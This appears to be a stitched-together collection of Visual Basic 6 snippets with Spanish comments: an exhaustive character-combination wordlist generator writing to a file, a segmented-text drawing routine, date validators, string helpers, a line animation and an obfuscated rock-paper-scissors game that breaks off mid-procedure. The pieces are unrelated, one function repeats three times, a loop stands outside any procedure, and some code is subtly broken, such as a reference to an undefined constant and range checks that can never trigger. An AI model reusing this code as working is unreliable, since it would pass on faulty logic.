Private Function CharSplit7913(expression As String) As String()
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
    ExpB = expression
    lExp = UBound(ExpB)
    ReDim AuxArr(lExp)
    For X = 0 To lExp Step 2
        AuxArr(X / 2) = ChrW(ExpB(X))
    Next
    ReDim Preserve AuxArr(Int(lExp / 2))
    CharSplit7913 = AuxArr
End Function

Dim AuxPalabra As String
Do
    AuxPalabra = 0
    For X = 0 To tam - 1
        AuxPalabra = AuxPalabra & chars(palabra(X)) ' aca concatenamos todas las letras
    Next
    Print AuxPalabra ' aca imprimo la palabra resultante.
    palabra(0) = palabra(0) + 1 ' aca muevo un caracter
    For X = 0 To UBound(palabra) - 1
        If palabra(X) = UBound(chars) + 1 Then
            'aca verificamos que ninguna casilla quede con un numero mayor a los
            'caracteres que hay y si pasa eso aumenta la siguiente casilla
            'y la actual se vuelve a 0
            palabra(X + 1) = palabra(X + 1) + 1
            palabra(X) = 0
        End If
        'esto de abajo es para ver cuando se termino el proceso
        'osea cuando se han hecho todas las combinaciones.
        If palabra(UBound(palabra)) = UBound(chars) + 1 Then Exit Do
    Next
Loop

Dim Diccionario As String
Dim chars() As String
Dim Tam As Integer
Dim Palabra() As Integer
Private Sub Form_Load()
'aca en diccionario pone lo que quieras
Diccionario = "ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz0123456789"
chars = CharSplit7913(Diccionario)
Tam = InputBox("inserte cantidad de caracteres")
ReDim Palabra(Tam - 1)
End Sub
 
 
Private Sub InicioDeProceso()
Dim AuxPalabra As String
    Do
        AuxPalabra = 0
        For X = 0 To Tam - 1
            AuxPalabra = AuxPalabra & chars(Palabra(X)) ' aca concatenamos todas las letras
        Next
        Debug.Print AuxPalabra ' aca imprimo la palabra resultante.
        Palabra(0) = Palabra(0) + 1 ' aca muevo un caracter
        For X = 0 To UBound(Palabra) - 1
            If Palabra(X) = UBound(chars) + 1 Then
                'aca verificamos que ninguna casilla quede con un numero mayor a los
                'caracteres que hay y si pasa eso aumenta la siguiente casilla
                'y la actual se vuelve a 0
                Palabra(X + 1) = Palabra(X + 1) + 1
                Palabra(X) = 0
            End If
            'esto de abajo es para ver cuando se termino el proceso
            'osea cuando se han hecho todas las combinaciones.
            If Palabra(UBound(Palabra)) = UBound(chars) + 1 Then Exit Do
        Next
    Loop
    MsgBox "Proceso Terminado"
End Sub
 
Private Function CharSplit7913(expression As String) As String()
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
        ExpB = expression
        lExp = UBound(ExpB)
        ReDim AuxArr(lExp)
        For X = 0 To lExp Step 2
            AuxArr(X / 2) = ChrW(ExpB(X))
        Next
        ReDim Preserve AuxArr(Int(lExp / 2))
        CharSplit7913 = AuxArr
End Function

    Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
    Const Num As String = "0123456789"                   'Numeros
    Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
    Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
    Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
    Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas
    Dim Cad As String                                    'Cadena entera de caracteres
    Dim X As Long                                        'Para los Bucles
     
    Private Sub Inicio()
    Dim Letras() As String
    Dim Posiciones() As Long
    Dim Palabras() As String
    Dim a As Long
    Dim CT As Long
    Dim CantPos As Long
    Dim CantLet As Long
       Letras = CharSplit7913(Cad)
       CantLet = UBound(Letras)
       Open "C:\Dic7913.txt" For Output As #1
       Close #1
       ReDim Palabras(1000)
       For a = 0 To Val(MinMaxL(1).Text) - Val(MinMaxL(0).Text)
           CantPos = MinMaxL(0) + a - 1
           ReDim Posiciones(CantPos)
           Do
           For X = 0 To CantPos
               Palabras(CT) = Palabras(CT) & Letras(Posiciones(X))
           Next
           CT = CT + 1
           Posiciones(0) = Posiciones(0) + 1
           For X = 0 To CantPos - 1
               If Posiciones(X) > CantLet Then Posiciones(X) = 0: Posiciones(X + 1) = Posiciones(X + 1) + 1
           Next
           If CT = 1001 Then
               Open "C:\Dic7913.txt" For Append As #1
                   For X = 0 To 1000
                       Print #1, Palabras(X)
                   Next
               Close #1
               ReDim Palabras(1000)
               CT = 0
           End If
           If Posiciones(CantPos) = CantLet + 1 Then GoTo Terminado
           Loop
    Terminado:
       Next
       If CT <> 0 Then
           Open "C:\Dic7913.txt" For Append As #1
               For X = 0 To CT
                   Print #1, Palabras(X)
               Next
           Close #1
           CT = 0
       End If
       MsgBox "Terminado", vbInformation, "Atencion"
    End Sub
     
    Private Sub Caracteres_Click(Index As Integer)
       'Limita el checkbox de los caracteres extra si el cuadro de texto esta vacio
       If Index = 6 And Len(ExtraCHR.Text) = 0 Then Caracteres(6).Value = 0: MsgBox "El cuadro de texto de caracteres extra debe tener al menos un caracter", vbCritical, "Error"
    End Sub
     
    Private Sub Go_Click()
    Dim FlagCheck As Boolean
       'Comprobacion de los minimos y maximos de longitud
       If Val(MinMaxL(0).Text) = 0 Then MsgBox "El minimo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
       If Val(MinMaxL(1).Text) = 0 Then MsgBox "El maximo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
       If Val(MinMaxL(0).Text) - Val(MinMaxL(1).Text) > 0 Then MsgBox "El maximo de longitud no puede ser menor que el minimo", vbCritical, "Error": Exit Sub
       'Comprobacion de los checkboxes, minimo uno debe estar tildado
       For X = 0 To 6
           If Caracteres(X).Value = 1 Then FlagCheck = True
       Next
       If FlagCheck = False Then MsgBox "Seleccione primero con que caracteres quiere hacer el diccionario", vbCritical, "Error": Exit Sub
       Cad = vbNullString 'Vacio el string Cad por si estaba lleno
       'Lleno cad con la seleccion del usuario
       If Caracteres(0).Value = 1 Then Cad = Num
       If Caracteres(1).Value = 1 Then Cad = Cad & Sym
       If Caracteres(2).Value = 1 Then Cad = Cad & Min
       If Caracteres(3).Value = 1 Then Cad = Cad & Max
       If Caracteres(4).Value = 1 Then Cad = Cad & SpL
       If Caracteres(5).Value = 1 Then Cad = Cad & SpU
       If Caracteres(6).Value = 1 Then Cad = Cad & ExtraCHR.Text
       MsgBox "El Proceso esta por Comenzar, esto podria tardar mucho tiempo para frenarlo presione Ctrl+Shift+Esc y termine el proceso, el diccionario quedara incompleto (este se guarda en c:\Dic7913.txt)", vbInformation, "Atencion - Por Comenzar"
       Call Inicio ' llamo al inicio de proceso
    End Sub
     
    Private Sub MinMaxL_KeyPress(Index As Integer, KeyAscii As Integer)
       If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0 'Verifica que solo se ingresen numeros en el desde hasta.
    End Sub
     
    Private Function CharSplit7913(expression As String) As String()
       Dim lExp     As Long
       Dim ExpB()   As Byte
       Dim AuxArr() As String
       ExpB = expression
       lExp = UBound(ExpB)
       ReDim AuxArr(lExp)
       For X = 0 To lExp Step 2
           AuxArr(X / 2) = ChrW(ExpB(X))
       Next
       ReDim Preserve AuxArr(Int(lExp / 2))
       CharSplit7913 = AuxArr
    End Function

Private Sub Command1_Click()
Call Print7913Char(Picture1, Text2.Text, RGB(128, 128, 128), RGB(0, 255, 0), 2, 1, 10)
Call Print7913Char(Picture2, Text1.Text, RGB(128, 128, 128), RGB(0, 255, 0), 2, 1, 10)
Call Print7913Char(Picture3, Text3.Text, RGB(128, 128, 128), RGB(0, 255, 0), 2, 1, 10)
Call Print7913Char(Picture4, Text4.Text, RGB(128, 128, 128), RGB(0, 255, 0), 2, 1, 10)
End Sub

Private Sub Print7913Char(Pic As PictureBox, expression As String, Optional ColorOff As Long = 8421504, Optional ColorOn As Long = 65280, Optional AnchorOn As Long = 3, Optional AnchorOff As Long = 2, Optional BetweenChars As Long = 0)
Dim ChrPos As String
Dim char(72) As Boolean
Dim charpos(288) As Long
Dim a() As String
Dim AChr As Double
'123456789
'    5      0
' 25/|\75 1 125
' /|\|/|\ 2 25
'|\|/|\|/|3 375
'|/|\|/|\|4 500
'|\|/|\|/|5 625
'|/|\|/|\|6 750
' \|/|\|/ 7 875
'   \|/   8 1000
'                        "99.72X1...72Y1...72X2...72Y2"
ChrPos = "99.0.0.0.500.500.500.0.0.0.0.250.250.250.500.750.750.750.0.0.0.250.500.500.500.750.1000.1000.0.250.250.250.500.750.750.750.1000.0.0.250.500.500.500.750.1000.1000.0.250.250.250.500.750.750.750.1000.0.0.250.500.500.500.750.1000.0.0.0.0.250.500.750.0.0.0.0.0.0.0.0.0.0.0.0.0.125.125.125.125.125.125.125.0.250.250.250.250.250.250.250.250.250.375.375.375.375.375.375.375.375.375.500.500.500.500.500.500.500.500.500.625.625.625.625.625.625.625.625.625.0.750.750.750.750.750.750.750.0.0.0.0.875.875.875.0.0.0.0.0.0.250.500.750.0.0.0.0.0.250.500.500.500.750.1000.0.0.250.250.250.500.750.750.750.1000.0.0.250.500.500.500.750.1000.1000.0.250.250.250.500.750.750.750.1000.0.0.250.500.500.500.750.1000.1000.0.250.250.250.500.750.750.750.0.0.0.0.500.500.500.0.0.0.0.0.0.125.125.125.0.0.0.0.250.250.250.250.250.250.250.0.375.375.375.375.375.375.375.375.375.500.500.500.500.500.500.500.500.500.625.625.625.625.625.625.625.625.625.750.750.750.750.750.750.750.750.750.0.875.875.875.875.875.875.875.0.0.0.0.1000.1000.1000.0.0.0"
Pic.ScaleMode = 3
Pic.DrawWidth = AnchorOff
Pic.Cls
AChr = Pic.ScaleHeight / 1000
a = Split(ChrPos, ".")
For x = 1 To 288
charpos(x) = a(x)
Next
For y = 1 To Len(expression)
    Select Case Asc(Mid(LCase(expression), y, 1))
            Case 48 '0
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 49 '1
                a = Split("9 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 0 0 0")
            Case 50 '2
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 1 0 0 0 0 0 1 1 1 1 0 0 0 1 1 1 1 1 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 51 '3
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 1 0 0 0 0 0 1 1 1 1 0 0 0 0 0 1 1 1 1 0 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 52 '4
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 53 '5
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 0 1 1 1 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 1 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 54 '6
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 1 1 1 1 0 0 0 0 0 1 1 1 0 0 1 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 55 '7
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 56 '8
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 0 1 1 0 0 0 1 1 0 0 1 1 1 0 1 1 1 0 0 1 1 1 0 1 1 1 0 0 1 1 0 0 0 1 1 0 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 57 '9
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 1 1 1 1 0 0 0 0 0 1 1 0 0 0")
            Case 97 'a
                a = Split("9 0 1 0 1 1 1 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 98 'b
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 99 'c
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 100 'd
                a = Split("9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 101 'e
                a = Split("9 0 0 1 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 1 1 0 0 0 0 0 1 1 1 1 0 0 0 0 0 1 1 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 102 'f
                a = Split("9 0 0 1 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 1 1 0 0 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0")
            Case 103 'g
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 1 1 1 1 0 0 0 0 0 1 1 1 0 0 1 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 104 'h
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 1 1 0 1 1 1 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 1 1 1 0 1 1 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 105 'i
                a = Split("9 0 0 1 1 1 1 1 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 0 1 1 1 0 0 0")
            Case 106 'j
                a = Split("9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 1 1 1 0 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 107 'k
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 1 1 1 0 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 1 0 0 1 1 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 108 'l
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 109 'm
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 0 1 1 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0")
            Case 110 'n
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 0 0 0 1 1 1 0 1 1 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 111 'o
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 112 'p
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0")
            Case 113 'q
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 114 'r
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 0 0 1 1 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 115 's
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 0 1 1 1 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 1 1 1 0 1 1 1 0 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 116 't
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1 1 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 0 1 1 1 0 0 0")
            Case 117 'u
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0")
            Case 118 'v
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 0 1 1 0 0 0 1 1 0 0 0 1 1 0 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 0 1 1 1 0 0 0")
            Case 119 'w
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 120 'x
                a = Split("9 0 0 0 0 0 0 0 0 0 0 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 0 0")
            Case 121 'y
                a = Split("9 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 0 1 1 1 0 0 0")
            Case 122 'z
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 1 1 1 0 1 1 1 0 1 1 1 1 1 1 1 1 1 0 0 0 1 1 1 0 0 0")
            Case 32 '" "
                a = Split("9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0")
            Case 46 '.
                a = Split("9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 1 1 1 1 1 0 0 0 0 1 1 1 1 1 0 0 0 0 0 1 1 1 0 0 0")
            Case Else
                a = Split("9 0 0 0 1 1 1 0 0 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 1 1 0 0 0 0 0 1 1 1 1 0 0 0 0 1 1 1 1 0 0 0 0 0 1 1 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 1 1 0 0 0")
    End Select
    For x = 1 To 72
    char(x) = a(x)
    Next
    For x = 1 To 72
        If char(x) Then
            Pic.DrawWidth = AnchorOn
            Pic.Line (((BetweenChars + (AChr * 1000)) * (y - 1)) + charpos(x) * AChr, charpos(x + 72) * AChr)-(((BetweenChars + (AChr * 1000)) * (y - 1)) + charpos(x + 144) * AChr, charpos(x + 216) * AChr), ColorOn
            Pic.DrawWidth = AnchorOff
        Else
            Pic.Line (((BetweenChars + (AChr * 1000)) * (y - 1)) + charpos(x) * AChr, charpos(x + 72) * AChr)-(((BetweenChars + (AChr * 1000)) * (y - 1)) + charpos(x + 144) * AChr, charpos(x + 216) * AChr), ColorOff
        End If
    Next
Next

End Sub

Private Function ExtractNums7913(expression As String) As String
    Dim a() As Byte
    Dim b() As Byte
    Dim ct As Long
        a = expression
        b = a
        For x = 0 To UBound(a) Step 2
            If a(x) < 58 Then
                If a(x) > 47 Then
                    b(ct + ct) = a(x)
                    ct = ct + 1
                End If
            End If
        Next
        ReDim Preserve b(ct + ct)
        ExtractNums7913 = b
End Function

Private Function IsDate_7913_v2(str As String) As Boolean
On Error GoTo Fin
Dim Partes(2) As Long
Dim Primer() As String
    Primer = Split(str, "/")
    If UBound(Primer) <> 2 Then GoTo Fin
    Partes(0) = Primer(0): Partes(1) = Primer(1): Partes(2) = Primer(2)
    If Partes(2) > 9999 Then GoTo Fin
    Select Case Partes(1) 'verificamos el mes
        Case 0
            GoTo Fin
        Case 1, 3, 5, 7, 8, 10, 12 'si es de 31 dias
            Select Case Partes(0) 'verificamos el dia
                Case Is > 31
                    GoTo Fin 'si es mayor que 31 es false
                Case Is < 1
                    GoTo Fin 'si es menor que 1 es false
                Case Else
                    IsDate_7913_v2 = True : GoTo Fin 'sino true
            End Select
        Case 4, 6, 9, 11 'si es de 30 dias
            Select Case Partes(0)
                Case Is > 30
                    GoTo Fin
                Case Is < 1
                    GoTo Fin
                Case Else
                    IsDate_7913_v2 = True : GoTo Fin 
            End Select
        Case 2 'si es febrero
            Select Case Partes(0)
                Case Is > 29 'si es mayor que 29
                    GoTo Fin
                Case Is < 1 ' si es menor a 1
                    GoTo Fin
                Case 29
                    If Partes(2) Mod 4 = 0 Then
                        If Partes(2) Mod 100 = 0 Then
                            If Partes(2) Mod 400 = 0 Then IsDate_7913_v2 = True 'si es biciesto multiplo de 100 y 400
                        Else
                            IsDate_7913_v2 = True : GoTo Fin  'si es biciesto
                        End If
                    End If
                Case Else
                    IsDate_7913_v2 = True : GoTo Fin 
            End Select
        End Select
Fin:
End Function

Public Function IsDate_r338(ByVal str As String) As Boolean
If str = vbNullString Then Exit Function
    Dim strp As Long
    strp = StrPtr(str)
If lstrlenW(strp) <> 10 Then Exit Function
 
    Dim j As Long, k As Long, dia As Long, mes As Long, año As Long, jp As Long
 
    jp = VarPtr(j)
    For k = 0 To 18 Step 2
        Call RtlMoveMemory(jp, strp + k, 1)
        Select Case k / 2
            Case 0
                If j < 48 And j > 51 Then Exit Function
                dia = (j - 48) * 10
            Case 1
                If j < 48 And j > 57 Then Exit Function
                dia = dia + (j - 48)
                If dia = 0 Or dia > 31 Then Exit Function
            Case 2, 5: If j <> 47 Then Exit Function
            Case 3
                If j <> 48 And j <> 49 Then Exit Function
                mes = (j - 48) * 10
            Case 4
                If j < 48 And j > 57 Then Exit Function
                mes = mes + (j - 48)
                If mes = 0 Or mes > 12 Then Exit Function
                If Not (mes = 1 Or mes = 3 Or mes = 5 Or mes = 7 Or mes = 8 Or mes = 10 Or mes = 12) And dia = 31 Then Exit Function
                If mes = 2 And dia > 29 Then Exit Function
            Case 6
                If j < 48 And j > 57 Then Exit Function
                año = (j - 48) * 1000
            Case 7
                If j < 48 And j > 57 Then Exit Function
                año = año + (j - 48) * 100
            Case 8
                If j < 48 And j > 57 Then Exit Function
                año = año + (j - 48) * 10
            Case 9
                If j < 48 And j > 57 Then Exit Function
                año = año + (j - 48)
 
                If mes = 2 And dia = 29 Then If Not (año Mod 4 = 0 And Not (año Mod 100 = 0 And año Mod 400 <> 0)) Then Exit Function
        End Select
    Next
    IsDate_r338 = True
End Function

Public Function DeleteString7913(ByVal sString As String, ByVal PosComienzo As Long, ByVal Longitud As Long) As String
    DeleteString7913 = LeftB$(sString, PosComienzo + PosComienzo) & RightB$(sString, LenB(sString) - (PosComienzo + PosComienzo + Longitud + Longitud))
End Function

    'armen un form con:
    ' 2 shapes
    ' 2 lines
    ' 1 timer
    ' y denle a f5
     
    Private Sub Form_Load()
       Me.ScaleMode = vbPixels
       Me.ScaleHeight = 600
       Me.ScaleWidth = 800
       Shape1.Top = Me.ScaleHeight / 2 - 200
       Shape2.Top = Me.ScaleHeight / 2 - 200
       Shape1.Left = Me.ScaleWidth / 2 - 150
       Shape2.Left = Me.ScaleWidth / 2 + 150
       Shape1.Shape = 2
       Shape2.Shape = 2
       Shape1.Width = 150
       Shape2.Width = 150
       Shape1.Height = 300
       Shape2.Height = 300
       Line1.BorderColor = &HFF&
       Line2.BorderColor = &HFF&
       Line1.X1 = Shape1.Left + Shape1.Width / 2
       Line1.Y1 = Shape1.Top + Shape1.Height / 2
       Line2.X1 = Shape2.Left + Shape2.Width / 2
       Line2.Y1 = Shape2.Top + Shape2.Height / 2
       Timer1.Interval = 100
    End Sub
     
    Private Sub Timer1_Timer()
       Randomize
       neg = 1
       If Rnd() * 2 > 1 Then neg = -1
       Line1.X2 = Shape1.Left + Shape1.Width / 2 + Rnd() * 300 * neg
       neg = 1
       If Rnd() * 2 > 1 Then neg = -1
       Line1.Y2 = Shape1.Top + Shape1.Height / 2 + Rnd() * 300 * neg
       neg = 1
       If Rnd() * 2 > 1 Then neg = -1
       Line2.X2 = Shape2.Left + Shape2.Width / 2 + Rnd() * 300 * neg
       neg = 1
       If Rnd() * 2 > 1 Then neg = -1
       Line2.Y2 = Shape2.Top + Shape2.Height / 2 + Rnd() * 300 * neg
    End Sub
     

Private Sub Form_Load()
Dim Oponente As String
Dim Res As String
Empezar:
Oponente = InputBox("1)Piedra" & vbNewLine & "2)Papel" & vbNewLine & "3)Tijera", "Elija una opción"): If VerifClean(VerifClean(Oponente = "1", Oponente = "2"), Oponente = "3") Then GoTo Continuar Else GoTo Empezar
Continuar:
Oponente = Trim(Str(Factorial(CLng(Int(Val(Oponente))))))
If Not Rnd() Then
If InStr(Oponente, StrReverse(Oponente)) > 0 Then If VerifClean(VerifClean(Oponente = "6", Oponente = "1"), Oponente = "2") Then If CLng(Int(Val(Oponente))) = 6 Then Oponente = "Usted Eligio Tijera" Else If CLng(Int(Val(Oponente))) = 2 Then Oponente = "Usted Eligio Papel" Else If CLng(Int(Val(Oponente))) = 1 Then Oponente = "Usted Eligio Piedra"
If InStr(Factorial(2 ^ 2) - Factorial(3) - Factorial(1) * 4, StrReverse((StrReverse(Oponente))), StrReverse(Chr((Factorial(6) / 72) * 10 + (Factorial(3) - Factorial(1))) & Chr((Factorial(6) / 72) * 10 + 2 * Factorial(2) - 2 * (Factorial(6) / 72)))) Then a = True: b = False
If InStr(Factorial(2 ^ 2) - Factorial(3) - Factorial(1) * 4, StrReverse((StrReverse(Oponente))), StrReverse(Chr((Factorial(6) / 72) * 10 - (Factorial(2) + Factorial(1))) & Chr((Factorial(6) / 72) * 10 - 2 * (Factorial(6) / 72)))) Then a = False: b = True
